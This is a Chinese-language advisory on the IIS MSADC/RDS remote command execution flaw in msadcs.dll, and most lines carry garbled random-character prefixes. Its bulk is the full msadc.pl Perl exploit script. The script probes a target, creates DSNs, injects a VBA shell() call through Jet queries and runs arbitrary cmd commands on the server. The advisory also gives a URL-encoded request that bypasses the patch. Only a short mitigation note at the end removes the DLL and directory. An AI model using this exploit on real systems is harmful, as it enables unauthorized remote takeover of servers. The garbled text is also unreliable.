IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
\`w!v,aM$ s5 2c`+ 涉及程序：
x 4SI TY Microsoft NT server
1a# oJ U B,SH 9, 描述：
GW ]E,a 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
:kycIM]s =e7,d$i 详细：
ZeD""vJRY 如果你没有时间读详细内容的话，就删除:
)oO cV% c:\Program Files\Common Files\System\Msadc\msadcs.dll
@MfuV4* 有关的安全问题就没有了。
O?uT'$GT ) z0qKb \ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
Rn O%8Hk !Xj vvX"j 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
)k F/"'o 关于利用ODBC远程漏洞的描述，请参看:
Z, Kbt Az. k6)~ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm RUTlwTdv h+mM 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
2[&3$-] http://www.microsoft.com/security/bulletins/MS99-025faq.asp Jji~MiMn dhe?7r ]u 这里不再论述。
9wP_dJvb $!c)%qDq 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
%Z-^Bu8;y i2{xW`AcUh /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
fP`g#t)4Tu 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
/^~3Ib8Fw+ lAsDdxB` +w Oa #将下面这段保存为txt文件，然后: "perl -x 文件名"
,jWMJ0X/N= i/rdPbq #!perl
I xT[1$e #
; Xy\7 tx # MSADC/RDS 'usage' (aka exploit) script
uLYz!E+E #
e{edI{g # by rain.forest.puppy
!1f 8~"Z #
z`-?5-a]I # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
X{rw+! # beta test and find errors!
q!#e2Dx vjG:
1|*e use Socket; use Getopt::Std;
Hz$l)g}U getopts("e:vd:h:XR", \%args);
\1 4"B gj1 4[ z a|t print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
;dl> r}O K3J if (!defined $args{h} && !defined $args{R}) {
[h 8j0Q@Q print qq~
N =K|Nw Usage: msadc.pl -h <host> { -d <delay> -X -v }
yp=Hxf -h <host> = host you want to scan (ip or domain)
LTu
c s } -d <seconds> = delay between calls, default 1 second
03* ` T -X = dump Index Server path table, if available
aG7QLCL -v = verbose
%iWup: -e = external dictionary file for step 5
-UaUFJa8K& )SZt If Or a -R will resume a command session
- |mWi .5I!h ! ~; exit;}
16MRLDhnD ReOp,A/y $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
2= X 2M if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
-ea>}S if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
8P r H"pI if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
@ NGK 2J $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
>W"gr]R< if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
(#* 7LdZ d% ?+q0j if (!defined $args{R}){ $ret = &has_msadc;
'1A S66k die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
g(t"+
P & | %<=\ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
A87JPX#R? . "cmd /c ";
ryzz!0l $in=<STDIN>; chomp $in;
c0]^V>}cl $command="cmd /c " . $in ;
7N "$~UfC d3h2$EDD if (defined $args{R}) {&load; exit;}
U'S}7gya ]Q=D'1 MM print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
gB@Xi* &try_btcustmr;
2"lD Kjj 5Qhu5~,K print "\nStep 2: Trying to make our own DSN...";
ZS q7>} &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
`_sc_Y|C! pN/)$6 = print "\nStep 3: Trying known DSNs...";
M}NmA &known_dsn;
&~U!X~Pp B T^u ][I3* print "\nStep 4: Trying known .mdbs...";
W R@=[G#TJ &known_mdb;
h5WS<P Y - 6
?x if (defined $args{e}){
e{8z1t20: print "\nStep 5: Trying dictionary of DSN names...";
T9]|*~ ,T &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
a&~_ba+ 3DnlXH(h1 print "Sorry Charley...maybe next time?\n";
9^h\vR|]S exit;
mD- qJ6AM iph>"b$D ##############################################################################
_f$8{& `k vJDK]p<} sub sendraw { # ripped and modded from whisker
i rMZLc6 sleep($delay); # it's a DoS on the server! At least on mine...
w#eD5y~'oo my ($pstr)=@_;
Y 3r m')c socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
D8N}*4S die("Socket problems\n");
5Z}]d@ if(connect(S,pack "SnA4x8",2,80,$target)){
SCE5|3j select(S); $|=1;
{.$5:<8aC print $pstr; my @in=<S>;
,wE]:|`qJ select(STDOUT); close(S);
8<M'~G%CEq return @in;
mh]'/C_*<w } else { die("Can't connect...\n"); }}
?-0k3 %)T>Wn%b]v ##############################################################################
') t
:!#
#}L75 sub make_header { # make the HTTP request
6 ]W!>jDc my $msadc=<<EOT
#k8bZ ?*: POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
C4],7"Sw User-Agent: ACTIVEDATA
BL<.u Host: $ip
Pcut#8?
Content-Length: $clen
<y=VDb/ Connection: Keep-Alive
`,d*> X=_pQ+j`^ ADCClientVersion:01.06
wEENN _w Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
gO%#'Eb2 ,ii*[{ X? --!ADM!ROX!YOUR!WORLD!
C%d\DuJ5'~ Content-Type: application/x-varg
JP`$A Content-Length: $reqlen
)o)<5Iqh }&D~P>1 EOT
h \\fb[`` ; $msadc=~s/\n/\r\n/g;
qd#?8 return $msadc;}
q p_lMz .g Tla ##############################################################################
Hs/
aU _ lo* OmAF sub make_req { # make the RDS request
\7PPFKS my ($switch, $p1, $p2)=@_;
Q\Dx/?g!vx my $req=""; my $t1, $t2, $query, $dsn;
r!SMF ]?SJ ^Gt&c_gH if ($switch==1){ # this is the btcustmr.mdb query
u~n*P``{ $query="Select * from Customers where City=" . make_shell();
P' .MwS $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
.z Q:u{FT $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
)9F-h8
&" 6yk=4l \ elsif ($switch==2){ # this is general make table query
51j5AbFQ" $query="create table AZZ (B int, C varchar(10))";
g^|}e? $dsn="$p1";}
!.1oW ( ^Pl(V@ elsif ($switch==3){ # this is general exploit table query
Oxs O $query="select * from AZZ where C=" . make_shell();
}a?PB o` $dsn="$p1";}
D\|$ ! i} m=D2|WA8 elsif ($switch==4){ # attempt to hork file info from index server
yO*~)ALb+ $query="select path from scope()";
NRu _6~^^ $dsn="Provider=MSIDXS;";}
i
,Cvnp6Lv eKjmU | H elsif ($switch==5){ # bad query
.j?`U[V%a $query="select";
ws8@y r<R $dsn="$p1";}
abiZ"?( j8n_:;i* $t1= make_unicode($query);
{hQ0=rv< $t2= make_unicode($dsn);
S :)Aj6>6 $req = "\x02\x00\x03\x00";
]D?// $req.= "\x08\x00" . pack ("S1", length($t1));
ta"uxL\gge $req.= "\x00\x00" . $t1 ;
G165grGFd $req.= "\x08\x00" . pack ("S1", length($t2));
~hK7(K $req.= "\x00\x00" . $t2 ;
F. 5'5% $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
Z(DCR/U=(> return $req;}
d: D`rpcC o V"d%ks ##############################################################################
xxjg )rVuy e ewhT ^ sub make_shell { # this makes the shell() statement
{gh41G;n return "'|shell(\"$command\")|'";}
2gM=vaiH= kFKc9}7 W ##############################################################################
Mo?eVtZ s~e<Pr?yu sub make_unicode { # quick little function to convert to unicode
4 =/5 my ($in)=@_; my $out;
hRA I7xk for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
7P1G^) return $out;}
xz2U?)m;x 9V&} % ##############################################################################
PdiP5S }/ .T~<[0Ex+U sub rdo_success { # checks for RDO return success (this is kludge)
=k.:XblEe[ my (@in) = @_; my $base=content_start(@in);
EdGA#i3 if($in[$base]=~/multipart\/mixed/){
,fW QSc\} return 1 if( $in[$base+10]=~/^\x09\x00/ );}
;W%nBdE6| return 0;}
(NfP2E|B tUX4#{)q(j ##############################################################################
y cYT1Sg 8 2iOn\
^]x sub make_dsn { # this makes a DSN for us
1ocd$)B|} my @drives=("c","d","e","f");
TdGda'C print "\nMaking DSN: ";
>tF3|:\ foreach $drive (@drives) {
'Cv,:Q print "$drive: ";
]0N'Wtbn my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
\8j 5b+ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
q5
eyle6 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
#I>
c$dd $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
YywiY).]@ return 0 if $2 eq "404"; # not found/doesn't exist
WM y97*L< if($2 eq "200") {
+ *u'vt? foreach $line (@results) {
590.mCm return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
3On IAk3 } return 0;}
<Jt H/oN Bmx+QO ##############################################################################
w2*.3I,~)B 1{6 BU! sub verify_exists {
% 8c
<C my ($page)=@_;
V11(EZJ/j my @results=sendraw("GET $page HTTP/1.0\n\n");
NUxOU>f return $results[0];}
1.S7MSpTV 6 3TeTGp$ ##############################################################################
Xjb 4dip 8yW 8F26 sub try_btcustmr {
tW<i;2 l my @drives=("c","d","e","f");
R7)\w P*l5 my @dirs=("winnt","winnt35","winnt351","win","windows");
5zk<s`h SZUhZIz& foreach $dir (@dirs) {
.'`7JU#{ print "$dir -> "; # fun status so you can see progress
-,xCUG<g foreach $drive (@drives) {
t<~WDI|AN print "$drive: "; # ditto
v[$-)vs*ag $reqlen=length( make_req(1,$drive,$dir) ) - 28;
vjo@aY.x $reqlenlen=length( "$reqlen" );
E} Ir<\ $clen= 206 + $reqlenlen + $reqlen;
IZ){xI 8aDSRfv* my @results=sendraw(make_header() . make_req(1,$drive,$dir));
hz:^3F`>/& if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
$'Pn(eZHGv else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
oJ\ )-qSf (CUrFZT$ ##############################################################################
1Yr&E_5/ N5W;Zx] sub odbc_error {
b5!\"v4c my (@in)=@_; my $base;
NO$n-<ag my $base = content_start(@in);
|E{tS,{OhJ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
]JGh[B1gh $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
FEOr'H<3x $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
X?6E0/r&9 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
[^N8v;O return $in[$base+4].$in[$base+5].$in[$base+6];}
4Cd#S9<ed print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
z@ 70{* print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
"h@|XI $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
qcN{p7=0 ] lBe ##############################################################################
~* R:UTBtw j @w+>h sub verbose {
3HtLD5%Q my ($in)=@_;
[G.4S5FX.] return if !$verbose;
0<g;g%
print STDOUT "\n$in\n";}
= D&xw2 8 `\^wG$W ##############################################################################
i|`b2m svd Sf_q;Ws sub save {
_'eG my ($p1, $p2, $p3, $p4)=@_;
|)%]MK$; open(OUT, ">rds.save") || print "Problem saving parameters...\n";
/6?A#%hc print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
, s=jtK close OUT;}
gzHMZ/31 @M]uUL-ze ##############################################################################
$ 12mS ;Avz%2#c` sub load {
YwbRzY-#F my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
d]3c44kkK{ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Yg @&@S] @p=<IN>; close(IN);
]1 V,_^D $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
">{Ruv}$ $target= inet_aton($ip) || die("inet_aton problems");
4jWzYuI&J print "Resuming to $ip ...";
s=[Tm}[ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
uq/z.m if($p[1]==1) {
m7dpr$J $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
`5HFRgL`. $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
0n FEPMO my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
V XE85 if (rdo_success(@results)){print "Success!\n";}
\vH /bL else { print "failed\n"; verbose(odbc_error(@results));}}
G<F+/Oi&DX elsif ($p[1]==3){
>M}\_ c= if(run_query("$p[3]")){
| c:E)S\ print "Success!\n";} else { print "failed\n"; }}
R04%;p:k# elsif ($p[1]==4){
k!&G ; 6O- if(run_query($drvst . "$p[3]")){
|igr3p5Fw print "Success!\n"; } else { print "failed\n"; }}
Z$UPLg3=;_ exit;}
bC V3h3< TO(2n8'fdO ##############################################################################
MC
8t"SB 5}
v(Ks> sub create_table {
'ycr/E&m{ my ($in)=@_;
dkHye> $reqlen=length( make_req(2,$in,"") ) - 28;
?&ow:OH+ $reqlenlen=length( "$reqlen" );
G,{=sFX $clen= 206 + $reqlenlen + $reqlen;
OpNTyKbaD my @results=sendraw(make_header() . make_req(2,$in,""));
S":55YQev! return 1 if rdo_success(@results);
#!A'6SgbkM my $temp= odbc_error(@results); verbose($temp);
qw#wZ'<n return 1 if $temp=~/Table 'AZZ' already exists/;
<yoCW?# return 0;}
FW~{io]n .Mn_T*F ##############################################################################
z~O#0Q ! v?s]up @@h sub known_dsn {
>A]U.C # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
A?YU:f my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
3`Ug]<m "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
T[ ~8u9/ "banner", "banners", "ads", "ADCDemo", "ADCTest");
A#b`{C~l *b tLd7c% foreach $dSn (@dsns) {
QU#u5sX A print ".";
_f "HU KGN next if (!is_access("DSN=$dSn"));
/~8<;N>,+ if(create_table("DSN=$dSn")){
%^`b) print "$dSn successful\n";
^~p^N < if(run_query("DSN=$dSn")){
34D7qR print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
UQ7E7yY# print "Something's borked. Use verbose next time\n";}}} print "\n";}
FnZMW, P %OV)O - ##############################################################################
jX9{Ki" g9T9TQ-O sub is_access {
C >@T+xOZ my ($in)=@_;
ak SUk)}e $reqlen=length( make_req(5,$in,"") ) - 28;
sI/]pgt2 $reqlenlen=length( "$reqlen" );
\zdY$3z $clen= 206 + $reqlenlen + $reqlen;
_` oP*g = my @results=sendraw(make_header() . make_req(5,$in,""));
hc2AGeZr my $temp= odbc_error(@results);
>}uDQwX8 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
?k|}\l[X1 return 0;}
D2,2Yy5 y NcuZ w? ##############################################################################
#mK/xbW q 7z;b A sub run_query {
0P+B-K>n my ($in)=@_;
T z`O+fx & $reqlen=length( make_req(3,$in,"") ) - 28;
k@[P\(a3b $reqlenlen=length( "$reqlen" );
%(P\"hE' $clen= 206 + $reqlenlen + $reqlen;
6'F4p1VG*I my @results=sendraw(make_header() . make_req(3,$in,""));
eU*0;# return 1 if rdo_success(@results);
WR;) my $temp= odbc_error(@results); verbose($temp);
Gz_[|,i return 0;}
&7fw YV (G E) ##############################################################################
MV(Sb:RZ fwN'5ep sub known_mdb {
6Mh;ld@ my @drives=("c","d","e","f","g");
F2N)|C< my @dirs=("winnt","winnt35","winnt351","win","windows");
,/bSa/x` my $dir, $drive, $mdb;
bG|aQ2HW my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
odPdWV,&* g?9IS,Gp # this is sparse, because I don't know of many
342m=7lK my @sysmdbs=( "\\catroot\\icatalog.mdb",
G
$F3dx.I "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
hx5oTJR "\\system32\\certmdb.mdb",
G\;a_]Q "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
ytDp
4x<W) 7 6} a my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
fr19C%{ "\\cfusion\\cfapps\\forums\\forums_.mdb",
Li? _P5+a "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
&*e( "\\cfusion\\cfapps\\security\\realm_.mdb",
ycPGv.6 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
[9lfR5=Xw[ "\\cfusion\\database\\cfexamples.mdb",
*l-f">?| "\\cfusion\\database\\cfsnippets.mdb",
& A1~x!` "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
>l>;"R9 N "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
=_"[ &^ "\\cfusion\\brighttiger\\database\\cleam.mdb",
{9,!XiF.: "\\cfusion\\database\\smpolicy.mdb",
)-u0n] , "\\cfusion\\database\cypress.mdb",
`pTC K9 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
gZg5O n "\\website\\cgi-win\\dbsample.mdb",
p'fD:M: "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
J%
b`*?A "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
#Bih=A
# ); #these are just
Eq\PSa=gz foreach $drive (@drives) {
.boBo$f
foreach $dir (@dirs){
6^Q/D7U;s foreach $mdb (@sysmdbs) {
rgK:ujzW! print ".";
! D \u 2h if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
K:cZ q3F print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
^z^zsNx if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
hi.` O+; print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
fDzG5}i } else { print "Something's borked. Use verbose next time\n"; }}}}}
'f
"KV | !EuqJ j h foreach $drive (@drives) {
8NUVHcB6 foreach $mdb (@mdbs) {
K8R}2K-Y print ".";
!Z}d^$ if(create_table($drv . $drive . $dir . $mdb)){
C I}zu;4| print "\n" . $drive . $dir . $mdb . " successful\n";
Ed>Dhy6\r if(run_query($drv . $drive . $dir . $mdb)){
Nr(t 5TP^ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
YWK|AT-4 } else { print "Something's borked. Use verbose next time\n"; }}}}
2X)n.%4g$; }
70MSP; ^ ?6#F9\ ##############################################################################
~CRd0T[^ X%sM na) sub hork_idx {
o Z!1^o3V print "\nAttempting to dump Index Server tables...\n";
HO`N]AMw print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
V9 J`LQ\0 $reqlen=length( make_req(4,"","") ) - 28;
d$?sS9"8( $reqlenlen=length( "$reqlen" );
oR1H J2>Z1 $clen= 206 + $reqlenlen + $reqlen;
aQTISX; my @results=sendraw2(make_header() . make_req(4,"",""));
d siQ~ [
if (rdo_success(@results)){
Pc:5*H my $max=@results; my $c; my %d;
26D,(Y$* for($c=19; $c<$max; $c++){
d OYEl<!J $results[$c]=~s/\x00//g;
->rr4xaK C $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
t!285J8tn $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
T! F 0_< $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
5dNM:1VoE $d{"$1$2"}="";}
d8p<f+ foreach $c (keys %d){ print "$c\n"; }
6`JY:~V" } else {print "Index server doesn't seem to be installed.\n"; }}
Ob~7r*q b ZKlQ<sI ##############################################################################
8=T[Y`;x
#sRkKl| sub dsn_dict {
|RS(QU<QE open(IN, "<$args{e}") || die("Can't open external dictionary\n");
\Aa{] t while(<IN>){
)/vse5EG+ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Ig{
3>vB next if (!is_access("DSN=$dSn"));
"rJJ~[Y if(create_table("DSN=$dSn")){
VHb Q LJ0 print "$dSn successful\n";
N,?4,+Hc- if(run_query("DSN=$dSn")){
<5t2 +D]]} print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
kM;fxR:- print "Something's borked. Use verbose next time\n";}}}
u;/5@ADW print "\n"; close(IN);}
`J v~.EF% >[A 7oH ##############################################################################
)b7 ;w#%q Jjr&+Q^3Tu sub sendraw2 { # ripped and modded from whisker
v *[oe sleep($delay); # it's a DoS on the server! At least on mine...
-KA Y my ($pstr)=@_;
"pa2,-& socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
\}p !S$` die("Socket problems\n");
Hdxon@,+cd if(connect(S,pack "SnA4x8",2,80,$target)){
jY|fP!?[ print "Connected. Getting data";
m5'nqy F open(OUT,">raw.out"); my @in;
.I#ss6 6h select(S); $|=1; print $pstr;
{Y7dE?!`7 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
0hB9D{`,{ close(OUT); select(STDOUT); close(S); return @in;
>DSD1i+N } else { die("Can't connect...\n"); }}
qPvW b1H: 2vLV1v$,q ##############################################################################
L8WYxJ
k S!@h\3d8{ sub content_start { # this will take in the server headers
g7 -* WN< my (@in)=@_; my $c;
J4l \ for ($c=1;$c<500;$c++) {
vS1#ien# if($in[$c] =~/^\x0d\x0a/){
02 RZ>m+ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
CUI\:a- else { return $c+1; }}}
K4w#}gzok return -1;} # it should never get here actually
N7l`-y X?gH(mn ##############################################################################
, VYUQE>\
^Q9;ro*;ck sub funky {
]K!NLvz my (@in)=@_; my $error=odbc_error(@in);
,l )7]p*X if($error=~/ADO could not find the specified provider/){
CEXD0+ \q print "\nServer returned an ADO miscofiguration message\nAborting.\n";
ar[I|
Q_ exit;}
Tfow_t}\ if($error=~/A Handler is required/){
:+? w> print "\nServer has custom handler filters (they most likely are patched)\n";
NQu .%= exit;}
(aUdPo8H^ if($error=~/specified Handler has denied Access/){
d [f,Nu' print "\nServer has custom handler filters (they most likely are patched)\n";
0vjlSHS;`. exit;}}
.kf FaK ~C31=\$ ##############################################################################
|1/UC"f ?"Ec#,~ sub has_msadc {
5f jL my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
;QS(`SK l my $base=content_start(@results);
C xbGL return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
p *5QV return 0;}
P
?A:0a M uay6b? ########################
WXmR{za DV!10NqUr @lhjO>@#I 解决方案：
6cVJu%<V 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
Vm]xV_FOd 2、移除web 目录: /msadc
